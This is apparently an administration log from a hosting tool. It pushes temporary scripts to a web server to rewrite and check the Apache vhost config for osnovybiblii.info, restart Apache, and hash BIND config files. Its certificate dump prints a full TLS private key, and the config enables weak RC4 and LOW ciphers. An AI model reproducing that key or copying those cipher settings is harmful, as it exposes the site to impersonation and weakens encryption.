		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/osnovybiblii_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-28 13:32:47: 

chmod 755 /tmp/pkp395513; /tmp/pkp395513; rm /tmp/pkp395513

2026-02-28 13:32:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnovybiblii_www_info.conf 45

<VirtualHost *:80>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-28 13:32:47: 

PUT: /tmp/pkp908906

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=osnovybiblii_www_info.conf
TARGET=/etc/apache2/sites-enabled/osnovybiblii_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/osnovybiblii_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/osnovybiblii_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/osnovybiblii_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/osnovybiblii_www_info.conf= 1'
fi


2026-02-28 13:32:47: 

chmod 755 /tmp/pkp908906; /tmp/pkp908906; rm /tmp/pkp908906

2026-02-28 13:32:47: 




2026-02-28 13:32:47: 

PUT: /tmp/pkp382734

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-28 13:32:47: 

chmod 755 /tmp/pkp382734; /tmp/pkp382734; rm /tmp/pkp382734

2026-02-28 13:32:48: 


.


2026-02-28 13:32:48: Establishing a connection
2026-02-28 13:32:48: 

PUT: /tmp/pkp595410

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-28 13:32:48: 

chmod 755 /tmp/pkp595410; /tmp/pkp595410; rm /tmp/pkp595410

2026-02-28 13:32:48: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-02-28 13:32:48: 

PUT: /tmp/pkp902044

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/osnovybiblii_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-28 13:32:48: 

chmod 755 /tmp/pkp902044; /tmp/pkp902044; rm /tmp/pkp902044

2026-02-28 13:32:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnovybiblii_www_info.conf	1414

<VirtualHost *:80>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-28 13:32:48: 

PUT: /tmp/pkp843449

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-28 13:32:48: 

chmod 755 /tmp/pkp843449; /tmp/pkp843449; rm /tmp/pkp843449

2026-02-28 13:32:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt	5381
a6:7e:05:4e:1a:6d:4b:a7:3e:4c:da:d7:59:c4:73:cf

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBjiQXM71am4Ip3vHzJ9TILGqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjI4MTIzNDE2WhcNMjYwNTI5MTIzNDE1WjAcMRowGAYDVQQD
ExFvc25vdnliaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAJO9jpDJBfe5f4MVijGtdIsYHBGAxupbUvf+Xs6wq+q6dVc1PKj0V10TCNmv
L7dxjQqpmDD/fWYIY5vBqbBk6gYxoqmmkG4uTItfa8Nb8zFM6ycy3ka9KchqfeVA
/uziEGWHoo/4uNIxjpspKd7nx81ze2WY+sCdS3KKOKrCh9kCnlsdL/DB0WLqOpCt
cMTWDsNqjfmy2HHhu4UfxhKfKPazQEYwRcJEJnvl91HHoDHKGh9WJZScaeV3FGpB
CLbMVnFr2Ok/UysfEFbOl6jLnxqbR6nUDFMOrJWBtommn/SQkfNWEeSHCbp+xaRs
NpLAQsbrr6eoIEWFZQqgvzEJLscCAwEAAaOCAjUwggIxMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRi
wcxzs6BbNz1PonKqj2kIJlyx6TAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEW9zbm92eWJpYmxpaS5pbmZvghV3d3cub3Nu
b3Z5YmlibGlpLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy80My5jcmwwggELBgorBgEEAdZ5
AgQCBIH8BIH5APcAdQAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAA
AZykc52UAAAEAwBGMEQCIHyXt5zT/rKtGasZQSgRr30WLlMTL4WpTTQCn5Jf4iE7
AiBbRuYdDxJSjwfN/D1XJ/1nnPIKdhahLPosxtQbvvpUIAB+AOMjjfKNoojgquCs
8PqQyYXwtr/10qUnsAH8HERYxLboAAABnKRznjwACAAABQA0CZSVBAMARzBFAiBk
yeafhJF9T7oe4qvtzNQXlILeI8X7yJk2dXNmESsYlwIhANdMWCpFCaFA4ykbN2d0
hvxPw0iqkbCOnIwqziFe9n5tMA0GCSqGSIb3DQEBCwUAA4IBAQCRW2FWJ6wVRc7e
5gxvRJRzTenTczrQgWbAAbFnH4lU9ecsJGZ5n/GZSA0+PalcigZfP9GtFg6vEi4c
6HLwBq9vhQImltXaL8FSEXUsZlpp4kMSCmacUcsGYQVzzKwm/tUE82lE3TgkK1WD
GRQEr6Y1d3bXRv0n9j8aC31bEu9WJLrhoYcuRxcPRrv0GrOM6p2te7tWiNMtBkqi
BTdplroYzqV8X7cwDHImGGSA9SLLj1ETbfyjIrxe3DHvq+QBI+YHDa4/14E7us+x
fhcMGZulLYQG1AkimdVeFKgPPfz0NfG6k+CJ49gccHoaVgXPWA/tkq/kdaqjuJ9/
cUydTzte
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCTvY6QyQX3uX+D
FYoxrXSLGBwRgMbqW1L3/l7OsKvqunVXNTyo9FddEwjZry+3cY0KqZgw/31mCGOb
wamwZOoGMaKpppBuLkyLX2vDW/MxTOsnMt5GvSnIan3lQP7s4hBlh6KP+LjSMY6b
KSne58fNc3tlmPrAnUtyijiqwofZAp5bHS/wwdFi6jqQrXDE1g7Dao35sthx4buF
H8YSnyj2s0BGMEXCRCZ75fdRx6AxyhofViWUnGnldxRqQQi2zFZxa9jpP1MrHxBW
zpeoy58am0ep1AxTDqyVgbaJpp/0kJHzVhHkhwm6fsWkbDaSwELG66+nqCBFhWUK
oL8xCS7HAgMBAAECggEABlHoDNqEllXJlh5wRHLClwangLotCC5y7Kflf1sAZ7Cl
P19IIoQdTp53VPSRCnxhh7C8kXAEeb5nIG0W6LRQbIZoCnDVIdl6LcYdsoQ28Yd0
Ub9z0bva0zd2/j0bCqAbCnTUZ+tAYMF887c9kssAeZH0l+KE64NvDE3MYcWjkQ1i
e9YLS99xdZY1XXYt+hClHmayBhKyvAdNk9YyQFbq9Nfg1w9TgUknxPQXtQsEI6hx
kngCGpEGgOdPWyHdy/aVuTYHP3Yjf4gPMOthiW5lT3btGds5gYiBcewyF5Fafa3f
0iL62xTFr10zTBVUC4TzbQC5rjWKzLXTB8vM2P+F0QKBgQDFT6+Dg2rxyZh2G6/X
bC8K8nFqjRkuNJP4LNXGToe1sQDt3e+fWE8YMiCMNH6CV1hDDlFpIbZvqu6NiniK
kwbWV98pWbN3e+apNfy20WzxWguGkYat6/FW6Ke+N5Lseh2dpqr3J5SJKJSXyOlQ
14s+uxZjv9r7Q5N8BX8ka9r9EQKBgQC/r0oj37wE/UsbGU6OC+/ppodpwenPnK2i
L1ruDDbtPpbRy+g0w0s0uLsV0HhDjN2R8w9eHTvOftqA5fjlVzE7/3TPkT75nruZ
8lWOxEqRRlx5qUeg5tzHAMGt1GM7CBcL24xJWThhDdbClTAQQIbK+ptLi9PPSTRd
ewid8GJOVwKBgQDE5I2qWNvBR4CCa4J/H4+aBvCyePalqwX1Yxg3+WlnH6hjtVJG
2iKjbHIaNs//VRXYZFNM671XlWTTjVhYP/tUrP8eDksOcm9sb1ktPbLO7SIPOO0C
ZS3Bogyxvlc472raRNTaKX8Jl5sgE/bvGwfyo1LmWy80CO0Fl56WQ6KVYQKBgQC1
ZqjuPDzOJ/sc4R0zVl6sKrm5vxaLMIYtl00hPJP6fyHx11ugGzWf5ja+1TQLEVNa
XMCtW1MO/4O/OmQKfjKMyht8l8MWLj7x2KFZY7ABvamkRSwRPImxFqkz3WwvIF/X
C+W+QF4XkyYrrU34A2jMzM+Mdf50C54v3VBxT11pLwKBgCpReN7DeLUkGjui6DYo
vsriLZkTQ/RcQA3LyPbi0YUbX3jLaDZT5FV+H0Nu83hodFPhJrPTbA/mfIwIPszO
bbIOtnjo/j6uKau8EYdCrca9NDlPFVvZwo+1XYxJU/g+QizB4//xYjR+asEqOqbb
3HUdXpkVlVO9NB+/nIlsQXKp
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-28 14:42:49: Establishing a connection
2026-02-28 14:43:03: Establishing a connection
2026-02-28 14:43:03: 

PUT: /tmp/pkp596609

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-28 14:43:03: 

runuser -l bind -s /bin/bash -c '/tmp/pkp596609; rm /tmp/pkp596609'

2026-02-28 14:43:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
